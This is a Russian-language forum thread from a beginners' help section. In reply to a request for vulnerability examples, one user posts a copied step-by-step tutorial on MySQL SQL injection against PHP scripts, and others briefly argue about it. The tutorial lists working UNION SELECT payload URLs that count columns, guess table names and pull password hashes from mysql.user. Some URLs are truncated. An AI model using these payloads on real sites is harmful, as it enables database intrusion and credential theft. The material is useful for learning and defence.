Loading...
Обучение/Помощь новичкам | Дыры/ уязвимости
Как выглядят уязвимости.
Покажите пример пожалуйста.
272869153 (08.01.2015 в 08:57)
Как выглядят уязвимости.
Покажите пример пожалуйста.

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12 '

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12 , это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999 , вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999 ' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php?id=99999+union+select+null/*

site/test.php?id=99999+un...lect+null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

site/test.php?id=9999+uni...est',null,null/*

site/test.php?id=9999+uni...ll,'test',null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php?id=9999+union+select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

site/test.php?id=12+union...ll+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php ? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php ? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php ? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

site/test.php?id=9999+uni...ATABASE(),null/*

site/test.php?id=9999+uni...ll,USER(),null/*

site/test.php?id=9999+uni...VERSION(),null/*

BY YOUMAS
________
посл. ред. 08.01.2015 в 09:22; всего 1 раз(а); by Asadal
Asadal, Эдик, ты чё думаешь он что то поняЛ:
Asadal, откуд скопипастил *heh*
PROMAS (08.01.2015 в 09:29)
Asadal, откуд скопипастил *heh*

со своей вмки*heh*
Если последний запрос выдает страницу,
аналогичную, как и http://site/test.php?id=12 ,
это в большинстве случаев может
однозначно свидетельствовать о наличии
SQL инъекции


Че за бред..
Dark_AKC (08.01.2015 в 09:37)
Если последний запрос выдает страницу,
аналогичную, как и http://site/test.php?id=12 ,
это в большинстве случаев может
однозначно свидетельствовать о наличии
SQL инъекции

Че за бред..



http://site/test.php?id=12

==

http://site/test.php?id=12-1

мож так?
Asadal, если есть фильтр, то он выбросит тере и передаст не 12-1, а 121
У меня есть защита от sql иньекций. Вы php дыры покажите
Dark_AKC (08.01.2015 в 09:40)
Asadal, если есть фильтр, то он выбросит тере и передаст не 12-1, а 121

нет..он просто может выдать error404 или прийти к изначальному значению (тоисть id12)
Онлайн: 2
Время:
Gen. 0.1318
(c) Bym.Guru 2010-2025